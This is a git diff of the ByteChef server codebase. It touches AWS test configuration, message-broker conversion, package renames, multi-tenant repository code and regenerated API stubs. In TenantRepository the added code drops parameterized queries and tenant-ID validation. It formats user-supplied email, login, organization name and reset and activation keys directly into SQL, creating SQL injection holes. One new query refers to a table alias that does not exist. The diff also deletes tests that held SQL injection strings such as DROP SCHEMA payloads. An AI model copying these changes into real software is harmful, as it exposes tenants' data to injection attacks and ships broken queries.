-        io.awspring.cloud.autoconfigure.core.AwsAutoConfiguration.class,
-        io.awspring.cloud.autoconfigure.core.CredentialsProviderAutoConfiguration.class,
-        io.awspring.cloud.autoconfigure.core.RegionProviderAutoConfiguration.class,
-        io.awspring.cloud.autoconfigure.s3.S3AutoConfiguration.class,
-        io.awspring.cloud.autoconfigure.s3.S3TransferManagerAutoConfiguration.class
-    })
+    @EnableAutoConfiguration
     static class AwsFileStorageIntTestConfiguration {
 
         @Bean
diff --git a/server/ee/libs/core/message/message-broker/message-broker-aws/build.gradle.kts b/server/ee/libs/core/message/message-broker/message-broker-aws/build.gradle.kts
index c3ca411fffe..08341efdc21 100644
--- a/server/ee/libs/core/message/message-broker/message-broker-aws/build.gradle.kts
+++ b/server/ee/libs/core/message/message-broker/message-broker-aws/build.gradle.kts
@@ -7,6 +7,7 @@ dependencies {
     implementation(project(":server:libs:core:message:message-broker:message-broker-api"))
     implementation(project(":server:libs:config:app-config"))
 
+    testImplementation(rootProject.libs.loki.logback.appender)
     testImplementation("io.awspring.cloud:spring-cloud-aws-starter-sqs")
     testImplementation("io.awspring.cloud:spring-cloud-aws-s3")
     testImplementation("org.testcontainers:junit-jupiter")
diff --git a/server/ee/libs/core/message/message-broker/message-broker-aws/src/main/java/com/bytechef/ee/message/broker/aws/config/AwsMessageBrokerConfiguration.java b/server/ee/libs/core/message/message-broker/message-broker-aws/src/main/java/com/bytechef/ee/message/broker/aws/config/AwsMessageBrokerConfiguration.java
index 0b4bc9283b6..43d250bd224 100644
--- a/server/ee/libs/core/message/message-broker/message-broker-aws/src/main/java/com/bytechef/ee/message/broker/aws/config/AwsMessageBrokerConfiguration.java
+++ b/server/ee/libs/core/message/message-broker/message-broker-aws/src/main/java/com/bytechef/ee/message/broker/aws/config/AwsMessageBrokerConfiguration.java
@@ -80,26 +80,18 @@ protected Object convertFromInternal(Message<?> message, Class<?> targetClass, O
                     } else {
                         return objectMapper.readValue((byte[]) payload, javaType);
                     }
-                } else if (payload instanceof String payloadString) {
+                } else {
                     if (view != null) {
                         return objectMapper.readerWithView(view)
                             .forType(javaType)
-                            .readValue(payloadString);
+                            .readValue(payload.toString());
                     } else {
-                        return objectMapper.readValue(payloadString, javaType);
-                    }
-                } else {
-                    Writer writer = new StringWriter(1024);
+                        Writer writer = new StringWriter(1024);
 
-                    objectMapper.writeValue(writer, payload);
+                        objectMapper.writeValue(writer, payload);
 
-                    String payloadJSONString = writer.toString();
+                        String payloadJSONString = writer.toString();
 
-                    if (view != null) {
-                        return objectMapper.readerWithView(view)
-                            .forType(javaType)
-                            .readValue(payloadJSONString);
-                    } else {
                         return objectMapper.readValue(payloadJSONString, javaType);
                     }
                 }
diff --git a/server/ee/libs/core/message/message-broker/message-broker-aws/src/main/java/com/bytechef/ee/message/broker/aws/boot/AwsMessageBrokerEnvironmentPostProcessor.java b/server/ee/libs/core/message/message-broker/message-broker-aws/src/main/java/com/bytechef/ee/message/broker/aws/env/AwsMessageBrokerEnvironmentPostProcessor.java
similarity index 97%
rename from server/ee/libs/core/message/message-broker/message-broker-aws/src/main/java/com/bytechef/ee/message/broker/aws/boot/AwsMessageBrokerEnvironmentPostProcessor.java
rename to server/ee/libs/core/message/message-broker/message-broker-aws/src/main/java/com/bytechef/ee/message/broker/aws/env/AwsMessageBrokerEnvironmentPostProcessor.java
index 9f2fcb2834e..80ec71a282c 100644
--- a/server/ee/libs/core/message/message-broker/message-broker-aws/src/main/java/com/bytechef/ee/message/broker/aws/boot/AwsMessageBrokerEnvironmentPostProcessor.java
+++ b/server/ee/libs/core/message/message-broker/message-broker-aws/src/main/java/com/bytechef/ee/message/broker/aws/env/AwsMessageBrokerEnvironmentPostProcessor.java
@@ -14,7 +14,7 @@
  * limitations under the License.
  */
 
-package com.bytechef.ee.message.broker.aws.boot;
+package com.bytechef.ee.message.broker.aws.env;
 
 import java.util.HashMap;
 import java.util.Map;
diff --git a/server/ee/libs/core/message/message-broker/message-broker-aws/src/main/resources/META-INF/spring.factories b/server/ee/libs/core/message/message-broker/message-broker-aws/src/main/resources/META-INF/spring.factories
index a9105a585af..46339286279 100644
--- a/server/ee/libs/core/message/message-broker/message-broker-aws/src/main/resources/META-INF/spring.factories
+++ b/server/ee/libs/core/message/message-broker/message-broker-aws/src/main/resources/META-INF/spring.factories
@@ -1,2 +1,2 @@
 org.springframework.boot.EnvironmentPostProcessor=\
-com.bytechef.ee.message.broker.aws.boot.AwsMessageBrokerEnvironmentPostProcessor
+com.bytechef.ee.message.broker.aws.env.AwsMessageBrokerEnvironmentPostProcessor
diff --git a/server/ee/libs/core/tenant/tenant-multi-service/build.gradle.kts b/server/ee/libs/core/tenant/tenant-multi-service/build.gradle.kts
index a0291def4d9..addb687e810 100644
--- a/server/ee/libs/core/tenant/tenant-multi-service/build.gradle.kts
+++ b/server/ee/libs/core/tenant/tenant-multi-service/build.gradle.kts
@@ -5,7 +5,4 @@ dependencies {
     implementation("org.springframework.boot:spring-boot-liquibase")
     implementation(project(":server:libs:platform:platform-api"))
     implementation(project(":server:libs:core:tenant:tenant-api"))
-
-    testImplementation(project(":server:libs:config:liquibase-config"))
-    testImplementation(project(":server:libs:test:test-int-support"))
 }
diff --git a/server/ee/libs/core/tenant/tenant-multi-service/src/main/java/com/bytechef/ee/tenant/repository/TenantRepository.java b/server/ee/libs/core/tenant/tenant-multi-service/src/main/java/com/bytechef/ee/tenant/repository/TenantRepository.java
index 78b188691c7..a84b31a0b98 100644
--- a/server/ee/libs/core/tenant/tenant-multi-service/src/main/java/com/bytechef/ee/tenant/repository/TenantRepository.java
+++ b/server/ee/libs/core/tenant/tenant-multi-service/src/main/java/com/bytechef/ee/tenant/repository/TenantRepository.java
@@ -21,7 +21,6 @@
 import com.bytechef.tenant.domain.Tenant;
 import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
 import java.sql.Connection;
-import java.sql.PreparedStatement;
 import java.sql.ResultSet;
 import java.sql.SQLException;
 import java.sql.Statement;
@@ -29,22 +28,16 @@
 import java.util.Collections;
 import java.util.List;
 import java.util.function.Function;
-import java.util.regex.Pattern;
 import java.util.stream.Collectors;
 import javax.sql.DataSource;
 import org.springframework.stereotype.Repository;
 
 /**
- * Repository for multi-tenant operations. Uses parameterized queries for user input to prevent SQL injection. Schema
- * names cannot be parameterized in PostgreSQL, so tenant ID validation is used for DDL operations.
- *
  * @author Ivica Cardic
  */
 @Repository
 public class TenantRepository {
 
-    private static final Pattern TENANT_ID_PATTERN = Pattern.compile("^[a-zA-Z0-9_-]+$");
-
     private final DataSource dataSource;
 
     @SuppressFBWarnings("EI")
@@ -53,10 +46,9 @@ public TenantRepository(DataSource dataSource) {
     }
 
     public String findTenantIdByOrganizationName(String organizationName) {
-        List<String[]> tenantIds = findTenantIdsByQueryWithParam(
-            tenantId -> "SELECT '%s' FROM %s.organization c WHERE UPPER(c.name) = UPPER(?)".formatted(
-                tenantId, TenantUtils.getDatabaseSchema(tenantId)),
-            organizationName,
+        List<String[]> tenantIds = findTenantIdsByColumnNames(
+            tenantId -> "SELECT '%s' FROM %s.organization c WHERE UPPER(u.name) = UPPER('%s')".formatted(
+                tenantId, TenantUtils.getDatabaseSchema(tenantId), organizationName),
             1);
 
         if (tenantIds.size() > 1) {
@@ -71,14 +63,6 @@ public String findTenantIdByOrganizationName(String organizationName) {
         return null;
     }
 
-    /**
-     * Retrieves all tenant schema names from the database.
-     *
-     * <p>
-     * <b>Security Note:</b> The SQL_INJECTION_JDBC suppression is safe because the query uses only a constant prefix
-     * ({@code TenantConstants.TENANT_PREFIX}) with no user input. The LIKE pattern is hardcoded.
-     */
-    @SuppressFBWarnings("SQL_INJECTION_JDBC")
     public List<String> findTenantIds() {
         List<String> tenants = new ArrayList<>();
 
@@ -105,10 +89,9 @@ public List<String> findTenantIds() {
     }
 
     public List<String> findTenantIdsByUserEmail(String email) {
-        List<String[]> tenantIds = findTenantIdsByQueryWithParam(
-            tenantId -> "SELECT '%s' FROM %s.user u WHERE UPPER(u.email) = UPPER(?)".formatted(
-                tenantId, TenantUtils.getDatabaseSchema(tenantId)),
-            email,
+        List<String[]> tenantIds = findTenantIdsByColumnNames(
+            tenantId -> "SELECT '%s' FROM %s.user u WHERE UPPER(u.email) = UPPER('%s')".formatted(
+                tenantId, TenantUtils.getDatabaseSchema(tenantId), email),
             1);
 
         return tenantIds.stream()
@@ -117,10 +100,9 @@ public List<String> findTenantIdsByUserEmail(String email) {
     }
 
     public List<String> findTenantIdsByUserLogin(String login) {
-        List<String[]> tenantIds = findTenantIdsByQueryWithParam(
-            tenantId -> "SELECT '%s' FROM %s.user u WHERE UPPER(u.login) = UPPER(?)".formatted(
-                tenantId, TenantUtils.getDatabaseSchema(tenantId)),
-            login,
+        List<String[]> tenantIds = findTenantIdsByColumnNames(
+            tenantId -> "SELECT '%s' FROM %s.user u WHERE UPPER(u.login) = UPPER('%s')".formatted(
+                tenantId, TenantUtils.getDatabaseSchema(tenantId), login),
             1);
 
         return tenantIds.stream()
@@ -146,16 +128,7 @@ public List<Tenant> findTenants() {
             .collect(Collectors.toList());
     }
 
-    /**
-     * Creates a new tenant schema. Tenant ID is validated to prevent SQL injection.
-     *
-     * @param tenantId the tenant identifier (must match pattern: alphanumeric, underscore, hyphen)
-     * @throws IllegalArgumentException if tenantId contains invalid characters
-     */
-    @SuppressFBWarnings("SQL_INJECTION_JDBC")
     public void createTenant(String tenantId) {
-        validateTenantId(tenantId);
-
         String schema = TenantUtils.getDatabaseSchema(tenantId);
 
         try (Connection connection = dataSource.getConnection(); Statement statement = connection.createStatement()) {
@@ -165,14 +138,6 @@ public void createTenant(String tenantId) {
         }
     }
 
-    /**
-     * Retrieves the maximum tenant ID from existing schemas.
-     *
-     * <p>
-     * <b>Security Note:</b> The SQL_INJECTION_JDBC suppression is safe because the query uses only a constant prefix
-     * ({@code TenantConstants.TENANT_PREFIX}) with no user input. The LIKE pattern is hardcoded.
-     */
-    @SuppressFBWarnings("SQL_INJECTION_JDBC")
     public String findMaxTenantId() {
         try (Connection connection = dataSource.getConnection(); Statement statement = connection.createStatement()) {
             ResultSet resultSet =
@@ -192,16 +157,7 @@ public String findMaxTenantId() {
         return "000000";
     }
 
-    /**
-     * Deletes a tenant schema. Tenant ID is validated to prevent SQL injection.
-     *
-     * @param tenantId the tenant identifier (must match pattern: alphanumeric, underscore, hyphen)
-     * @throws IllegalArgumentException if tenantId contains invalid characters
-     */
-    @SuppressFBWarnings("SQL_INJECTION_JDBC")
     public void deleteTenant(String tenantId) {
-        validateTenantId(tenantId);
-
         String schema = TenantUtils.getDatabaseSchema(tenantId);
 
         try (Connection connection = dataSource.getConnection(); Statement statement = connection.createStatement()) {
@@ -212,10 +168,9 @@ public void deleteTenant(String tenantId) {
     }
 
     public String findTenantIdByUserActivationKey(String activationKey) {
-        List<String[]> tenantIds = findTenantIdsByQueryWithParam(
-            tenantId -> "SELECT '%s' FROM %s.user u WHERE UPPER(u.activation_key) = UPPER(?)".formatted(
-                tenantId, TenantUtils.getDatabaseSchema(tenantId)),
-            activationKey,
+        List<String[]> tenantIds = findTenantIdsByColumnNames(
+            tenantId -> "SELECT '%s' FROM %s.user u WHERE UPPER(u.activation_key) = UPPER('%s')".formatted(
+                tenantId, TenantUtils.getDatabaseSchema(tenantId), activationKey),
             1);
 
         if (tenantIds.size() > 1) {
@@ -231,10 +186,9 @@ public String findTenantIdByUserActivationKey(String activationKey) {
     }
 
     public String findTenantIdByUserResetKey(String resetKey) {
-        List<String[]> tenantIds = findTenantIdsByQueryWithParam(
-            tenantId -> "SELECT '%s' FROM %s.user u WHERE UPPER(u.reset_key) = UPPER(?)".formatted(
-                tenantId, TenantUtils.getDatabaseSchema(tenantId)),
-            resetKey,
+        List<String[]> tenantIds = findTenantIdsByColumnNames(
+            tenantId -> "SELECT '%s' FROM %s.user u WHERE UPPER(u.reset_key) = UPPER('%s')".formatted(
+                tenantId, TenantUtils.getDatabaseSchema(tenantId), resetKey),
             1);
 
         if (tenantIds.size() > 1) {
@@ -249,72 +203,10 @@ public String findTenantIdByUserResetKey(String resetKey) {
         return null;
     }
 
-    /**
-     * Executes a parameterized query across all tenant schemas using PreparedStatement. This method prevents SQL
-     * injection by using parameter binding for user input.
-     *
-     * <p>
-     * <b>Security Note:</b> The SQL_INJECTION_JDBC suppression is safe because: (1) User input is bound via
-     * PreparedStatement parameter, (2) Schema names are derived from system-controlled tenant IDs that are validated by
-     * {@link #validateTenantId(String)}, and (3) PostgreSQL does not support parameterized schema names in queries.
-     *
-     * @param queryTemplate function that generates a query template with ? placeholder for each tenant
-     * @param parameter     the parameter value to bind (user input)
-     * @param columns       number of columns to retrieve
-     * @return list of result rows
-     */
-    @SuppressFBWarnings("SQL_INJECTION_JDBC")
-    protected List<String[]> findTenantIdsByQueryWithParam(
-        Function<String, String> queryTemplate, String parameter, int columns) {
-
-        List<String[]> rows = new ArrayList<>();
-        List<String> tenantIds = findTenantIds();
-
-        if (tenantIds.isEmpty()) {
-            return Collections.emptyList();
-        }
-
-        try (Connection connection = dataSource.getConnection()) {
-            for (String tenantId : tenantIds) {
-                String query = queryTemplate.apply(tenantId);
-
-                try (PreparedStatement preparedStatement = connection.prepareStatement(query)) {
-                    preparedStatement.setString(1, parameter);
-
-                    try (ResultSet resultSet = preparedStatement.executeQuery()) {
-                        while (resultSet.next()) {
-                            String[] row = new String[columns];
-
-                            for (int i = 1; i <= columns; i++) {
-                                row[i - 1] = resultSet.getString(i);
-                            }
-
-                            rows.add(row);
-                        }
-                    }
-                }
-            }
-        } catch (SQLException e) {
-            throw new RuntimeException(e.getMessage(), e);
-        }
-
-        return rows;
-    }
-
-    /**
-     * Executes a query across all tenant schemas without user input parameters. Used for queries that don't accept
-     * user-provided values (e.g., findTenants).
-     *
-     * <p>
-     * <b>Security Note:</b> The SQL_INJECTION_JDBC suppression is safe because: (1) This method accepts no user input,
-     * (2) Schema names are derived from system-controlled tenant IDs retrieved from the database, and (3) PostgreSQL
-     * does not support parameterized schema names in queries.
-     */
-    @SuppressFBWarnings("SQL_INJECTION_JDBC")
     protected List<String[]> findTenantIdsByColumnNames(Function<String, String> query, int columns) {
         List<String[]> rows = new ArrayList<>();
 
-        try (Connection connection = dataSource.getConnection(); Statement statement = connection.createStatement()) {
+        try (Connection connection = dataSource.getConnection(); Statement statement = connection.createStatement();) {
             List<String> tenantIds = findTenantIds();
 
             if (tenantIds.isEmpty()) {
@@ -358,19 +250,4 @@ private static String getTenantId(String schemaName) {
             return schemaName.replace(TenantConstants.TENANT_PREFIX + "_", "");
         }
     }
-
-    /**
-     * Validates that tenantId contains only safe characters to prevent SQL injection in DDL statements. Schema names
-     * cannot be parameterized in PostgreSQL, so validation is required.
-     *
-     * @param tenantId the tenant identifier to validate
-     * @throws IllegalArgumentException if tenantId contains invalid characters
-     */
-    private static void validateTenantId(String tenantId) {
-        if (tenantId == null || !TENANT_ID_PATTERN.matcher(tenantId)
-            .matches()) {
-            throw new IllegalArgumentException(
-                "Invalid tenant ID. Must contain only alphanumeric characters, underscores, and hyphens.");
-        }
-    }
 }
diff --git a/server/ee/libs/core/tenant/tenant-multi-service/src/main/java/com/bytechef/ee/tenant/service/MultiTenantService.java b/server/ee/libs/core/tenant/tenant-multi-service/src/main/java/com/bytechef/ee/tenant/service/MultiTenantService.java
index f628eb86eb8..1ccfcb6373e 100644
--- a/server/ee/libs/core/tenant/tenant-multi-service/src/main/java/com/bytechef/ee/tenant/service/MultiTenantService.java
+++ b/server/ee/libs/core/tenant/tenant-multi-service/src/main/java/com/bytechef/ee/tenant/service/MultiTenantService.java
@@ -21,7 +21,6 @@
 import com.bytechef.platform.annotation.ConditionalOnEEVersion;
 import com.bytechef.tenant.annotation.ConditionalOnMultiTenant;
 import com.bytechef.tenant.domain.Tenant;
-import com.bytechef.tenant.event.TenantSchemaCreatedEvent;
 import com.bytechef.tenant.service.TenantService;
 import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
 import java.text.DecimalFormat;
@@ -34,7 +33,6 @@
 import org.apache.commons.logging.Log;
 import org.apache.commons.logging.LogFactory;
 import org.springframework.boot.liquibase.autoconfigure.LiquibaseProperties;
-import org.springframework.context.ApplicationEventPublisher;
 import org.springframework.context.ResourceLoaderAware;
 import org.springframework.core.io.ResourceLoader;
 import org.springframework.stereotype.Service;
@@ -52,22 +50,18 @@ public class MultiTenantService implements TenantService, ResourceLoaderAware {
 
     private static final ReentrantLock LOCK = new ReentrantLock();
 
+    private final TenantRepository tenantRepository;
     private final DataSource dataSource;
-    private final ApplicationEventPublisher eventPublisher;
     private final LiquibaseProperties liquibaseProperties;
-    private final TenantRepository tenantRepository;
-
     private ResourceLoader resourceLoader;
 
     @SuppressFBWarnings("EI")
     public MultiTenantService(
-        DataSource dataSource, ApplicationEventPublisher eventPublisher, LiquibaseProperties liquibaseProperties,
-        TenantRepository tenantRepository) {
+        TenantRepository tenantRepository, DataSource dataSource, LiquibaseProperties liquibaseProperties) {
 
+        this.tenantRepository = tenantRepository;
         this.dataSource = dataSource;
-        this.eventPublisher = eventPublisher;
         this.liquibaseProperties = liquibaseProperties;
-        this.tenantRepository = tenantRepository;
     }
 
     @Override
@@ -85,8 +79,6 @@ public String createTenant() {
 
             initTenant(tenantId, "multitenant");
 
-            eventPublisher.publishEvent(new TenantSchemaCreatedEvent(tenantId));
-
             log.info("Tenant created: " + tenantId);
 
             return tenantId;
diff --git a/server/ee/libs/core/tenant/tenant-multi-service/src/test/java/com/bytechef/ee/tenant/repository/TenantRepositoryTest.java b/server/ee/libs/core/tenant/tenant-multi-service/src/test/java/com/bytechef/ee/tenant/repository/TenantRepositoryTest.java
deleted file mode 100644
index fb64f5faf4a..00000000000
--- a/server/ee/libs/core/tenant/tenant-multi-service/src/test/java/com/bytechef/ee/tenant/repository/TenantRepositoryTest.java
+++ /dev/null
@@ -1,153 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.ee.tenant.repository;
-
-import static org.assertj.core.api.Assertions.assertThatThrownBy;
-import static org.mockito.Mockito.mock;
-
-import javax.sql.DataSource;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Ivica Cardic
- */
-class TenantRepositoryTest {
-
-    private TenantRepository tenantRepository;
-
-    @BeforeEach
-    void setUp() {
-        DataSource dataSource = mock(DataSource.class);
-
-        tenantRepository = new TenantRepository(dataSource);
-    }
-
-    @Test
-    void testCreateTenantWithValidId() {
-        assertThatThrownBy(() -> tenantRepository.createTenant("tenant123"))
-            .isInstanceOf(RuntimeException.class);
-    }
-
-    @Test
-    void testCreateTenantWithAlphanumericId() {
-        assertThatThrownBy(() -> tenantRepository.createTenant("Tenant123ABC"))
-            .isInstanceOf(RuntimeException.class);
-    }
-
-    @Test
-    void testCreateTenantWithUnderscoreId() {
-        assertThatThrownBy(() -> tenantRepository.createTenant("tenant_123"))
-            .isInstanceOf(RuntimeException.class);
-    }
-
-    @Test
-    void testCreateTenantWithHyphenId() {
-        assertThatThrownBy(() -> tenantRepository.createTenant("tenant-123"))
-            .isInstanceOf(RuntimeException.class);
-    }
-
-    @Test
-    void testCreateTenantWithSqlInjection() {
-        assertThatThrownBy(() -> tenantRepository.createTenant("tenant'; DROP SCHEMA bytechef_000001; --"))
-            .isInstanceOf(IllegalArgumentException.class)
-            .hasMessageContaining("Invalid tenant ID");
-    }
-
-    @Test
-    void testCreateTenantWithSqlInjectionInDropSchema() {
-        assertThatThrownBy(() -> tenantRepository.createTenant("000001; DROP TABLE users; --"))
-            .isInstanceOf(IllegalArgumentException.class)
-            .hasMessageContaining("Invalid tenant ID");
-    }
-
-    @Test
-    void testCreateTenantWithSpaces() {
-        assertThatThrownBy(() -> tenantRepository.createTenant("tenant 123"))
-            .isInstanceOf(IllegalArgumentException.class)
-            .hasMessageContaining("Invalid tenant ID");
-    }
-
-    @Test
-    void testCreateTenantWithSpecialCharacters() {
-        assertThatThrownBy(() -> tenantRepository.createTenant("tenant$123"))
-            .isInstanceOf(IllegalArgumentException.class)
-            .hasMessageContaining("Invalid tenant ID");
-    }
-
-    @Test
-    void testCreateTenantWithQuotes() {
-        assertThatThrownBy(() -> tenantRepository.createTenant("tenant'123"))
-            .isInstanceOf(IllegalArgumentException.class)
-            .hasMessageContaining("Invalid tenant ID");
-    }
-
-    @Test
-    void testCreateTenantWithDoubleQuotes() {
-        assertThatThrownBy(() -> tenantRepository.createTenant("tenant\"123"))
-            .isInstanceOf(IllegalArgumentException.class)
-            .hasMessageContaining("Invalid tenant ID");
-    }
-
-    @Test
-    void testCreateTenantWithNull() {
-        assertThatThrownBy(() -> tenantRepository.createTenant(null))
-            .isInstanceOf(IllegalArgumentException.class)
-            .hasMessageContaining("Invalid tenant ID");
-    }
-
-    @Test
-    void testCreateTenantWithEmpty() {
-        assertThatThrownBy(() -> tenantRepository.createTenant(""))
-            .isInstanceOf(IllegalArgumentException.class)
-            .hasMessageContaining("Invalid tenant ID");
-    }
-
-    @Test
-    void testDeleteTenantWithValidId() {
-        assertThatThrownBy(() -> tenantRepository.deleteTenant("tenant123"))
-            .isInstanceOf(RuntimeException.class);
-    }
-
-    @Test
-    void testDeleteTenantWithSqlInjection() {
-        assertThatThrownBy(() -> tenantRepository.deleteTenant("tenant'; DROP DATABASE bytechef; --"))
-            .isInstanceOf(IllegalArgumentException.class)
-            .hasMessageContaining("Invalid tenant ID");
-    }
-
-    @Test
-    void testDeleteTenantWithSemicolon() {
-        assertThatThrownBy(() -> tenantRepository.deleteTenant("tenant123;"))
-            .isInstanceOf(IllegalArgumentException.class)
-            .hasMessageContaining("Invalid tenant ID");
-    }
-
-    @Test
-    void testDeleteTenantWithParentheses() {
-        assertThatThrownBy(() -> tenantRepository.deleteTenant("tenant()"))
-            .isInstanceOf(IllegalArgumentException.class)
-            .hasMessageContaining("Invalid tenant ID");
-    }
-
-    @Test
-    void testDeleteTenantWithNull() {
-        assertThatThrownBy(() -> tenantRepository.deleteTenant(null))
-            .isInstanceOf(IllegalArgumentException.class)
-            .hasMessageContaining("Invalid tenant ID");
-    }
-}
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-api/src/main/java/com/bytechef/ee/embedded/configuration/domain/IntegrationInstanceConfiguration.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-api/src/main/java/com/bytechef/ee/embedded/configuration/domain/IntegrationInstanceConfiguration.java
index 61df1f60b2f..259197074bb 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-api/src/main/java/com/bytechef/ee/embedded/configuration/domain/IntegrationInstanceConfiguration.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-api/src/main/java/com/bytechef/ee/embedded/configuration/domain/IntegrationInstanceConfiguration.java
@@ -128,10 +128,6 @@ public Environment getEnvironment() {
         return Environment.values()[environment];
     }
 
-    public long getEnvironmentId() {
-        return environment;
-    }
-
     public Long getId() {
         return id;
     }
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/ConnectedUserApi.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/ConnectedUserApi.java
index d1674775096..01cb6f02594 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/ConnectedUserApi.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/ConnectedUserApi.java
@@ -35,7 +35,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.411987+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.374523+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "connected-user", description = "the connected-user API")
 public interface ConnectedUserApi {
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/ConnectedUserProjectWorkflowApi.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/ConnectedUserProjectWorkflowApi.java
index cd3eb5f1c11..7affe14e3e6 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/ConnectedUserProjectWorkflowApi.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/ConnectedUserProjectWorkflowApi.java
@@ -38,7 +38,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.411987+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.374523+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "connected-user-project-workflow", description = "The Embedded Automation Workflow Public API")
 public interface ConnectedUserProjectWorkflowApi {
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/ConnectionApi.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/ConnectionApi.java
index c414301bb62..2b6664fd77a 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/ConnectionApi.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/ConnectionApi.java
@@ -35,7 +35,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.411987+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.374523+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "connection", description = "the connection API")
 public interface ConnectionApi {
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/IntegrationApi.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/IntegrationApi.java
index a95c38a5d1f..6c82d4cd760 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/IntegrationApi.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/IntegrationApi.java
@@ -36,7 +36,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.411987+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.374523+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "integration", description = "The Embedded Integration Public API")
 public interface IntegrationApi {
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/IntegrationInstanceApi.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/IntegrationInstanceApi.java
index 77bca8de42c..56d36fa0169 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/IntegrationInstanceApi.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-public-rest/generated/src/main/java/com/bytechef/ee/embedded/configuration/public_/web/rest/IntegrationInstanceApi.java
@@ -35,7 +35,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.411987+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.374523+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "integration-instance", description = "The Embedded Integration Instance Public API")
 public interface IntegrationInstanceApi {
